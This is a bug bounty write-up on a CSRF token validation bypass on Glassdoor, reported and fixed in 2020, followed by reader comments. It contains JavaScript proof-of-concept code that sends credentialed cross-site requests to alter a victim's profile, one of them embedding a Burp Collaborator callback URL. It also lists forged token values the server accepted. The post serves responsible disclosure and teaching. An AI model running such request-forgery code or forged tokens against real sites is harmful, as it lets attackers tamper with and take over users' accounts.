Site Wide CSRF on Glassdoor

In february, 2020 I was looking at what to hack. Glassdoor has a good security team and I had found a lot of bugs on their application before. They have a public bug bounty program on Hackerone, here.


So I started looking at glassdoor. They were using a token to prevent CSRF on all endpoints, it looked like a secure implementation. But I still played around with it. Their gdToken(CSRF token) looks like below:


biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I was checking if the tokens were properly session tied. I generated random tokens from an account and tried to use them for someone else’s session. The tokens were session tied and requests failed for cross accounts.

But during my testing I noticed that one of the request got successfully completed. I investigated to see how it happened, and I saw that while copying the token I missed selecting the first character of the token as it was _(underscore).

So for a token like:

_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I only copied:

iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

and used that for someone else’s session.

And the request got successfully completed. The CSRF protection of the app failed here. Strange.

I tried to reproduce the behaviour with new tokens.

I generated a CSRF token from an account A, stripped off the first character and tried to use it as the CSRF token for account B. The requests were successfully completed.

There are 2 kinds of accounts on Glassdoor:

  • Job Seeker
  • Employer

Both use the same kind of implementation to prevent CSRF, the bypass worked for both and I had CSRF on all endpoints of both the Job Seeker and Employer accounts. This could lead to full account takeover by exploiting functionalities like inviting attacker E-mail with admin access to employer accounts.

So I made a POC for actions changing the name and adding an experience to a job seeker's account and reported the bug to the team.

I used the following javascript code for POC:

function attack()
{

var fetchHash = new XMLHttpRequest();



var url = "https://www.glassdoor.com/member/profileApi/set.htm";



fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
        {

            //datax = fetchHash.responseText;
					   


        }

}

fetchHash.open("POST",url, true);

fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y');


}


attack();
attack2();


function attack2()
{

var fetchHash = new XMLHttpRequest();



var url = "https://www.glassdoor.com/member/profileApi/set.htm";



fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
        {

            //datax = fetchHash.responseText;
					   


        }

}

fetchHash.open("POST",url, true);

fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%2Fe2hq2ufpdwpaso3o37tdhthjtazanz.burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y');


}

Here is the POC video:

I explained what kind of Impact this could have:

Bypass CSRF protection mechanism of the core application of www.glassdoor.com

Attacker gains:
Site wide CSRF on both job seeker and employer accounts.

Some critical actions that be performed:


Job seeker account:

> adding salaries, reviews, interviews
> edit profile
> add CVs
> delete existing CVs
> save jobs
> Apply to jobs

Employer account:

> post new jobs
> delete existing jobs
> invite a new user as admin- ACCOUNT TKO

Glassdoor security team triaged the bug and started working towards a fix.


I was still curious about how this happened and was discussing with the team on it. On taking a closer look at the issue, I found out that it had something to do with the length validation of the token.

A valid token was in format

--encoded-string--:--encoded-string--:--encoded-string--

Length of token: 153

Now, if we supplied a token in the same format, but changing the number of characters in a valid token(i.e ≠ 153), the server would treat it as a valid token for the current session.

So basically a token satisfying the following constraints would be a valid token for any session.

The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--


Total length of the token ≠ length of an actual token

for example, the following gdToken values were accepted as valid by the server for all account sessions on glassdoor.com

::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2

A fix was rolled out for the bug, and the glassdoor security team found out that this was an exception handling issue –> an exception was triggered with the forged tokens and they didn’t fail the response and in turn just logged it and allowed the operation to continue. Now a 403 is sent when that exception is triggered.


So the CSRF token validation flow would be something like:

---> The server verifies the format of the CSRF token

---> Now the sever checks if the token is session tied

---> Sever allows operation to be completed

Now, if we supply a token like ::9

---> The server verifies the format of the token ---> we supplied a token in valid format(--0-chars--:--0-chars--:--1-char--) 

our forged token passes the first check


---> Now the sever tries to check if the token is session tied and maybe other checks on the token, here an exception is triggered because the token is of invalid length

This exception wasn't handled properly and caused a CSRF validation bypass

It would pass the first format check, then trigger the exception in the second check and since the exception was not handled and code was allowed to continue, the operation would be completed successfully.


The bug was rewarded at $3000 (Glassdoor’s top bounty + a bonus)

Got any questions or something to say? Tweet me @_tabahi

🙂

8 thoughts on “Site Wide CSRF on Glassdoor

    1. The SOP does not protect from CSRF.
      SOP restricts one domain/origin from reading responses from another origin/domain.

      Checkout more here : SOP

      Like

  1. Hi Tabahi, I just confused a little :
    – You wrote : “The tokens were session tied and requests failed for cross accounts.”
    – But you said : “and used that for someone else’s session. And the request got successfully completed.”
    – What I got is : Your payload should be fail in there, because there was “session tied based token”.
    Is it save if I say : Your payload work because the “lack of _ (underscore)” to bypass “session tied based token” ?

    Like

    1. What I understood was there were two checks, one for the format of the token and the other for the validity of the token to a session. The first one is bypassed as he said but the 2nd one raised an exception that the request shouldn’t be completed. But it seems their code didn’t handle the exception properly and allowed the request to be completed by sending the response.

      Like

Leave a Reply to agastya Cancel reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.